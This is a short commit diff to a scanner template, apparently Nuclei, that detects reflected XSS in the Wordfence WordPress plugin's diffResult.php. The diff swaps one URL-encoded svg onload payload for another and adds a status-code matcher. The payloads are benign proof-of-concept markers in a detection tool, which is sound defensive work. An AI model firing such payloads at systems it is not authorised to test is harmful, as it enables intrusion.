Improved matcher

2021-05-11 00:29:01 +05:30 · 2021-05-11 00:29:01 +05:30 · 7019946599
parent 491789580d
commit 7019946599
1 changed files with 8 additions and 3 deletions
--- a/vulnerabilities/wordpress/wordpress-wordfence-xss.yaml
+++ b/vulnerabilities/wordpress/wordpress-wordfence-xss.yaml
@ -9,14 +9,19 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/wp-content/plugins/wordfence/lib/diffResult.php?file=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E"
+      - "{{BaseURL}}/wp-content/plugins/wordfence/lib/diffResult.php?file=%27%3E%22%3Csvg%2Fonload=confirm%28%27test%27%29%3E"
+
    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "<svg/onload=alert(1337)>"
+          - "'>\"<svg/onload=confirm('test')>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
+
+      - type: status
+        status:
+          - 200